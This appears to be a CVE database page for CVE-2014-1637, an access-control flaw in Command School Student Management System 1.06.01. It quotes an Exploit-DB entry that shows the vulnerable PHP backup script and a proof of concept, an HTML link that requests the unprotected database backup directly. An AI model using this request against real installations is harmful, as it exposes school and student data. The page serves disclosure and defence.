CVE-2014-1637
Description
Command School Student Management System 1.06.01 does not properly restrict access to sw/backup/backup_ray2.php, which allows remote attackers to download a database backup via a direct request.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Command School Student Management System - '/sw/backup/backup_ray2.php' Database Backup Direct Request Information Disclosure
source: https://www.securityfocus.com/bid/64707/info
Command School Student Management System is prone to the following security vulnerabilities:
1. Multiple SQL-injection vulnerabilities
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An HTML injection vulnerability
5. A security-bypass vulnerability
Exploiting these issues could allow an attacker to run malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass certain security restrictions to perform unauthorized actions.
Command School Student Management System 1.06.01 is vulnerable; other versions may also be affected.
##############
VULNERABILITY
##############
/Backup/backup_ray2.php (LINE: 78-126)
-----------------------------------------------------------------------------
// SET THE NAME OF THE BACKUP WITH A TIMESTAMP
$bkup = 'mysql' . date('Ymd\THis') . $db_name . '.txt';
$fp = fopen($bkup, "w");
// GET THE LIST OF TABLES
$sql = "SHOW TABLES";
$res = mysql_query($sql);
if (!$res) die( mysql_error() );
if (mysql_num_rows($res) == 0) die( "NO TABLES IN $db_name" );
while ($s = mysql_fetch_array($res))
{
$tables[] = $s[0];
}
// ITERATE OVER THE LIST OF TABLES
foreach ($tables as $table)
{
// WRITE THE DROP TABLE STATEMENT
fwrite($fp,"DROP TABLE `$table`;\n");
// GET THE CREATE TABLE STATEMENT
$res = mysql_query("SHOW CREATE TABLE `$table`");
if (!$res) die( mysql_error() );
$cre = mysql_fetch_array($res);
$cre[1] .= ";";
$txt = str_replace("\n", "", $cre[1]); // FIT EACH QUERY ON ONE LINE
fwrite($fp, $txt . "\n");
// GET THE TABLE DATA
$data = mysql_query("SELECT * FROM `$table`");
$num = mysql_num_fields($data);
while ($row = mysql_fetch_array($data))
{
// MAKE INSERT STATEMENTS FOR ALL THE VALUES
$txt = "INSERT INTO `$table` VALUES(";
for ($i=0; $i < $num; $i++)
{
$txt .= "'".mysql_real_escape_string($row[$i])."', ";
}
$txt = substr($txt, 0, -2);
fwrite($fp, $txt . ");\n");
}
}
// ALL DONE
fclose($fp);
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
<html>
<title>Iphobos Blog</title>
<label><a href="http://www.example.com/sw/backup/backup_ray2.php" class="button
white">Backup Download</a></label>
</html>
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| doug_poulin | command_school_student_management_system | 1.06.01 | |
References
- http://osvdb.org/101888
- http://packetstormsecurity.com/files/124708/Command-School-Student-Management-System-1.06.01-SQL-Injection-CSRF-XSS.html
- http://www.securityfocus.com/bid/64707
- http://osvdb.org/101888
- http://packetstormsecurity.com/files/124708/Command-School-Student-Management-System-1.06.01-SQL-Injection-CSRF-XSS.html
- http://www.securityfocus.com/bid/64707
CWEs
CWE-200
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.